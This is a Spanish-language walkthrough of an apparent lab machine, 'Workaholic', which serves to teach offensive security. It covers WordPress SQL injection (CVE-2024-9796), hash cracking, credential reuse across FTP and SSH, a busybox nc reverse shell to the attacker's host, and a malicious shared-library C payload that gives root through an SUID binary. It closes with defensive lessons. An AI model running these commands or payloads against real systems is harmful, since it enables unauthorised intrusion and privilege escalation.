Workaholic
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Workaholic corre WordPress con el plugin WP Advanced Search vulnerable a una SQLi no autenticada (CVE-2024-9796) que vuelca los hashes de usuario (WP Advanced Search SQLi (CVE-2024-9796)). Crackeamos losphpass, reutilizamos la contraseña decharlieen el FTP para leerwp-config.php, y la contraseña de la base de datos abre el SSH decharlie(reutilización de credenciales). Un binario SUID,wp-monitor, carga una librería desde un directorio escribible; inyectamos un.somalicioso y obtenemos root (inyección de librería compartida).
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. FTP, SSH y un WordPress:
ping -c 1 192.168.131.229
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.229PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open httpnmap -p21,22,80 -sCV 192.168.131.229 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Workaholic
|_http-generator: WordPress 6.7.2WordPress - TCP 80
El código fuente de la portada (curl ... | grep offsec) referencia el vhost workaholic.offsec en el ajaxurl, que añadimos al /etc/hosts:
curl http://192.168.131.229 2>/dev/null | grep offsec | html2text
File "-", line 30, column 0: CDATA terminal not found
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/",
"ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg",
"source":{"concatemoji":"http:\/\/workaholic.offsec\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.2"}};
var ac_param = {"ajaxurl":"http:\/\/workaholic.offsec\/wp-admin\/admin-ajax.php","selector":".search-field",
"autoFocus":"","limitDisplay":"5","multiple":"1"};
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.131.229 workaholic.offsecCon el vhost resuelto, wpscan enumera el plugin desactualizado y los usuarios:
wpscan --url http://workaholic.offsec/ --enumerate p,u[+] wp-advanced-search
| Version: 3.3.8 (80% confidence)
[i] User(s) Identified:
[+] admin
[+] ted
[+] charlieExplotación
CVE-2024-9796: SQLi en WP Advanced Search
Buscando por el plugin y su versión ("wp advanced search sqli exploit") llegamos a la ficha de WPScan "WP-Advanced-Search < 3.3.9.2 – Unauthenticated SQL Injection", que le pone número: CVE-2024-9796:

WP Advanced Search <= 3.3.9.2 sufre una inyección SQL no autenticada (CVE-2024-9796). Un PoC público la explota para volcar la tabla de usuarios (WP Advanced Search SQLi (CVE-2024-9796)). Afinando la búsqueda ("CVE-2024-9796 git exploit") aparece el repo de yup-Ivan, que describe la inyección por el parámetro t del endpoint de autocompletado:

El PoC de yup-Ivan es el que usamos; su banner se identifica al arrancar y es interactivo, así que pide la IP del WordPress y qué consulta lanzar (elegimos la 1, extraer usuarios y contraseñas):
python3 CVE-2024-9796.py
admin
charlie
ted
$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/Los hashes son phpass ($P$); john con rockyou recupera dos contraseñas:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
okadamat17 (admin)
chrish20 (charlie)Reutilización de credenciales: FTP y SSH
La contraseña de charlie se reutiliza en el FTP (vsftpd), donde encontramos y descargamos el wp-config.php (reutilización de credenciales):
ftp 192.168.131.229 # charlie
ftp> get wp-config.phpdefine( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );Y esa contraseña de base de datos vuelve a estar reutilizada: abre el SSH de charlie:
cat wp-config.php | grep -i pass
ssh charlie@192.168.131.229 # rU)tJnTw5*ShDt4nOx
charlie@192.168.131.229's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-48-generic x86_64)
Last login: Sat Feb 7 19:20:26 2026 from 192.168.45.204
$ whoami
charlieLocal
cat local.txt && whoami && ip a && hostname
4f5ffd398a34110be02f080ad59fc844
charlieEscalada de privilegios
Para trabajar la escalada con una PTY cómoda y registrada, lanzamos una reverse shell gestionada por Penelope desde la sesión de charlie (el payload busybox nc conecta con el listener de Penelope):
busybox nc 192.168.45.204 80 -e bash
$ busybox nc 192.168.45.204 80 -e bash
$ penelope
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
(Penelope)> listeners add -p 80
[+] Listening for reverse shells on 0.0.0.0:80 -> 127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
[-] Invalid shell from 192.168.131.229
[+] Got reverse shell from workaholic~192.168.131.229-Linux-x86_64 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
charlie@workaholic:~$ whoami
charlieSUID wp-monitor: inyección de librería compartida
Buscamos binarios SUID y aparece uno propio del sitio, /var/www/html/wordpress/blog/wp-monitor. Con strings vemos que carga dinámicamente una librería desde una ruta bajo el home de ted y llama a una función init_plugin:
find / -perm -4000 2>/dev/null
strings /var/www/html/wordpress/blog/wp-monitor | grep -A3 '.so'
/home/ted/.lib/libsecurity.so
init_pluginEl binario es SUID root y hace dlopen de /home/ted/.lib/libsecurity.so, un directorio en el que podemos escribir. Escribimos una librería con la función init_plugin que fije UID/GID a 0 y prepare una bash con SUID (inyección de librería compartida):
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}La compilamos como objeto compartido en la ruta exacta que el binario carga y ejecutamos wp-monitor:
gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
/var/www/html/wordpress/blog/wp-monitor
charlie@workaholic:/home/ted/.lib$ gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
charlie@workaholic:/home/ted/.lib$ /var/www/html/wordpress/blog/wp-monitor
[+] Checking the logs ...
root@workaholic:/home/ted/.lib# whoami
rootAl cargar nuestra librería, wp-monitor (SUID root) ejecuta init_plugin con privilegios de root y caemos en una shell de root.
Root
cat /root/proof.txt && whoami && ip a && hostname
64e44b4b648d4755486d8abafbd28886
rootCadena de ataque
WordPress (80) -- WP Advanced Search 3.3.8
│ CVE-2024-9796: SQLi -> hashes phpass -> john -> chrish20 (charlie)
│ reutilización: charlie en FTP -> wp-config.php (DB pass)
│ reutilización: DB pass -> SSH charlie
▼
charlie (local.txt)
│ SUID wp-monitor dlopen /home/ted/.lib/libsecurity.so (escribible)
│ init_plugin() malicioso -> setuid(0) + bash SUID
▼
root (proof.txt)Lecciones aprendidas
- Un plugin desactualizado abre la caja. WP Advanced Search 3.3.8 arrastraba la CVE-2024-9796; la SQLi no autenticada volcó todos los hashes. Mantener plugins al día no es opcional.
- La reutilización de contraseñas encadena servicios. La misma contraseña de
charlievalió para el FTP, y la de la base de datos para el SSH. Cada credencial reutilizada acorta la cadena del atacante. wp-config.phpes un tesoro. Descargarlo por FTP dio la contraseña de la base de datos, reutilizada para SSH. Ese fichero nunca debería ser accesible ni contener secretos reutilizados.- Cargar una
.sodesde una ruta escribible es RCE con los privilegios del binario. Un SUID root que hacedlopende una librería que el usuario controla equivale a regalar root. Las rutas de carga de un binario privilegiado deben ser sólo escribibles por root.